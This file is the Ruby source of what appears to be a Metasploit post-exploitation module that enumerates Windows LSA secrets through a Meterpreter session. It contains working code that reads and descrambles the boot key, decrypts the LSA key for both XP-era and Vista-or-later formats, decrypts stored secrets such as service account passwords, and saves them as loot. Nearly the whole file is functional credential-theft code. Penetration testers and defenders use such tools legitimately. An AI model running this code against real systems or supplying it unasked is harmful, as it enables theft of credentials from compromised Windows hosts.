Files
metasploit-gs/unstable-modules/post/enum_lsa.rb
T
2013-11-07 23:44:41 -06:00

298 lines
9.7 KiB
Ruby

##
# $Id: enum_lsa.rb 15362 2012-04-21 rob $
##
require 'msf/core'
require 'msf/core/post/windows/priv'
require 'msf/core/post/common'
require 'msf/core/post/windows/registry'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Priv
include Msf::Post::Common
include Msf::Post::Windows::Registry
def initialize(info={})
super(update_info(info,
'Name' => "Windows Enumerate LSA Secrets",
'Description' => %q{
This module will attempt to enumerate the LSA Secrets keys within the registry. The registry value used is:
HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\. Thanks goes to Maurizio Agazzini and Mubix for decrypt
code from cachedump.
},
'License' => MSF_LICENSE,
'Version' => '$Revision: 15362 $',
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Author' => ['Rob Bathurst <rob.bathurst@foundstone.com>']
))
end
def capture_boot_key
bootkey = ""
basekey = "System\\CurrentControlSet\\Control\\Lsa"
%W{JD Skew1 GBG Data}.each do |k|
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, basekey + "\\" + k, KEY_READ)
return nil if not ok
bootkey << [ok.query_class.to_i(16)].pack("V")
ok.close
end
keybytes = bootkey.unpack("C*")
descrambled = ""
descrambler = [ 0x0b, 0x06, 0x07, 0x01, 0x08, 0x0a, 0x0e, 0x00, 0x03, 0x05, 0x02, 0x0f, 0x0d, 0x09, 0x0c, 0x04 ]
0.upto(keybytes.length-1) do |x|
descrambled << [keybytes[descrambler[x]]].pack("C")
end
return descrambled
end
def capture_lsa_key(bootkey)
begin
#print_status("Getting PolSecretEncryptionKey...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolSecretEncryptionKey", KEY_READ)
pol = ok.query_value("").data
#print_status("Got PolSecretEncryptionKey: #{pol.unpack("H*")[0]}")
ok.close
print_status("XP compatible client")
@vista = 0
rescue
#print_status("Trying 'V72' style...")
#print_status("Getting PolEKList...")
ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, "SECURITY\\Policy\\PolEKList", KEY_READ)
pol = ok.query_value("").data
#print_good("Pol: #{pol.unpack("H*")[0]}")
ok.close
print_status("V/7/2k8 compatible client")
@vista = 1
end
if( @vista == 1 )
lsakey = decrypt_lsa(pol, bootkey)
lsakey = lsakey[68,32]
#print_good(lsakey.unpack("H*")[0])
else
md5x = Digest::MD5.new()
md5x << bootkey
(1..1000).each do
md5x << pol[60,16]
end
rc4 = OpenSSL::Cipher::Cipher.new("rc4")
rc4.key = md5x.digest
lsakey = rc4.update(pol[12,48])
lsakey << rc4.final
lsakey = lsakey[0x10..0x1F]
end
return lsakey
end
def convert_des_56_to_64(kstr)
des_odd_parity = [
1, 1, 2, 2, 4, 4, 7, 7, 8, 8, 11, 11, 13, 13, 14, 14,
16, 16, 19, 19, 21, 21, 22, 22, 25, 25, 26, 26, 28, 28, 31, 31,
32, 32, 35, 35, 37, 37, 38, 38, 41, 41, 42, 42, 44, 44, 47, 47,
49, 49, 50, 50, 52, 52, 55, 55, 56, 56, 59, 59, 61, 61, 62, 62,
64, 64, 67, 67, 69, 69, 70, 70, 73, 73, 74, 74, 76, 76, 79, 79,
81, 81, 82, 82, 84, 84, 87, 87, 88, 88, 91, 91, 93, 93, 94, 94,
97, 97, 98, 98,100,100,103,103,104,104,107,107,109,109,110,110,
112,112,115,115,117,117,118,118,121,121,122,122,124,124,127,127,
128,128,131,131,133,133,134,134,137,137,138,138,140,140,143,143,
145,145,146,146,148,148,151,151,152,152,155,155,157,157,158,158,
161,161,162,162,164,164,167,167,168,168,171,171,173,173,174,174,
176,176,179,179,181,181,182,182,185,185,186,186,188,188,191,191,
193,193,194,194,196,196,199,199,200,200,203,203,205,205,206,206,
208,208,211,211,213,213,214,214,217,217,218,218,220,220,223,223,
224,224,227,227,229,229,230,230,233,233,234,234,236,236,239,239,
241,241,242,242,244,244,247,247,248,248,251,251,253,253,254,254
]
key = []
str = kstr.unpack("C*")
key[0] = str[0] >> 1
key[1] = ((str[0] & 0x01) << 6) | (str[1] >> 2)
key[2] = ((str[1] & 0x03) << 5) | (str[2] >> 3)
key[3] = ((str[2] & 0x07) << 4) | (str[3] >> 4)
key[4] = ((str[3] & 0x0F) << 3) | (str[4] >> 5)
key[5] = ((str[4] & 0x1F) << 2) | (str[5] >> 6)
key[6] = ((str[5] & 0x3F) << 1) | (str[6] >> 7)
key[7] = str[6] & 0x7F
0.upto(7) do |i|
key[i] = ( key[i] << 1)
key[i] = des_odd_parity[key[i]]
end
return key.pack("C*")
end
def decrypt_secret(secret, key)
# Ruby implementation of SystemFunction005
# the original python code has been taken from Credump
j = 0
decrypted_data = ''
for i in (0...secret.length).step(8)
enc_block = secret[i..i+7]
block_key = key[j..j+6]
des_key = convert_des_56_to_64(block_key)
d1 = OpenSSL::Cipher::Cipher.new('des-ecb')
d1.padding = 0
d1.key = des_key
d1o = d1.update(enc_block)
d1o << d1.final
decrypted_data += d1o
j += 7
if (key[j..j+7].length < 7 )
j = key[j..j+7].length
end
end
dec_data_len = decrypted_data[0].ord
return decrypted_data[8..8+dec_data_len]
end
def decrypt_lsa(pol, encryptedkey)
sha256x = Digest::SHA256.new()
sha256x << encryptedkey
(1..1000).each do
sha256x << pol[28,32]
end
aes = OpenSSL::Cipher::Cipher.new("aes-256-cbc")
aes.key = sha256x.digest
#print_status("digest #{sha256x.digest.unpack("H*")[0]}")
decryptedkey = ''
for i in (60...pol.length).step(16)
aes.decrypt
aes.padding = 0
xx = aes.update(pol[i...i+16])
decryptedkey += xx
end
#print_good("Dec_Key #{decryptedkey}")
return decryptedkey
end
def reg_getvaldata(key,valname)
v = nil
begin
root_key, base_key = client.sys.registry.splitkey(key)
open_key = client.sys.registry.open_key(root_key, base_key, KEY_READ)
#print("reading key: #{key}#{valname}\n")
v = open_key.query_value(valname).data
open_key.close
rescue
print_error("Error opening key!")
end
return v
end
#Decrypted LSA key is passed into this function
def get_secret(lkey)
sec_str = "\n"
begin
#LSA Secret key location within the register
root_key = "HKEY_LOCAL_MACHINE\\Security\\Policy\\Secrets\\"
begin
key_arr = meterpreter_registry_enumkeys(root_key)
key_arr.each do |keys|
begin
mid_key = root_key + "\\" + keys
sk_arr = meterpreter_registry_enumkeys(mid_key)
sk_arr.each do |mkeys|
begin
#CurrVal stores the currently set value of the key, in the case of
#services it usually come out as plan text
if(mkeys == "CurrVal")
val_key = root_key + "\\" + keys + "\\" + mkeys
v_name = ""
sec = reg_getvaldata(val_key, v_name)
if( @vista == 1 )
#Magic happens here
sec = sec[0..-1]
sec = decrypt_lsa(sec, lkey)[1..-1].scan(/[[:print:]]/).join
else
#and here
sec = sec[0xC..-1]
sec = decrypt_secret(sec, lkey).scan(/[[:print:]]/).join
end
if(sec.length > 0)
if(keys[0,4] == "_SC_")
user_key = "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\"
keys_c = keys[4,keys.length]
user_key = user_key << keys_c
n_val = "ObjectName"
user_n = reg_getvaldata(user_key, n_val)
#if the unencrypted value is not blank and is a service, print
print_good("Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Username: #{user_n} \n Decrypted Value: #{sec}\n"
else
#if the unencrypted value is not blank, print
print_good("Key: #{keys} \n Decrypted Value: #{sec}\n")
sec_str = sec_str << "Key: #{keys} \n Decrypted Value: #{sec}\n"
end
end
else
next
end
rescue ::Exception => e
print_error("Unable to open: #{val_key}")
print_error("Error: #{e.class} #{e}")
end
end
rescue
print_error("Unable to open: #{mid_key}")
end
end
rescue ::Exception => e
print_error("Unable to open: #{root_key}")
print_error("Error: #{e.class} #{e}")
end
rescue
print_error("Cannot find key.")
end
return sec_str
end
# The sauce starts here
def run
print_status('Obtaining boot key...')
bootkey = capture_boot_key
#print_status("Boot key: #{bootkey.unpack("H*")[0]}")
print_status('Obtaining Lsa key...')
lsakey = capture_lsa_key(bootkey)
#print_status("Lsa Key: #{lsakey.unpack("H*")[0]}")
hostname = session.sys.config.sysinfo['Computer']
print_status("Executing module against #{hostname}")
client.railgun.netapi32()
begin
secrets = hostname << get_secret(lsakey)
print_status("Writing to loot...")
path = store_loot(
'registry.lsa.sec',
'text/plain',
session,
secrets,
'reg_lsa_secrts.txt',
'Registry LSA Secret Decrypted File')
print_status("Data saved in: #{path}")
rescue ::Exception => e
print_error("Failed to run LSA Enum")
print_error("Error: #{e.class} #{e}")
end
end
end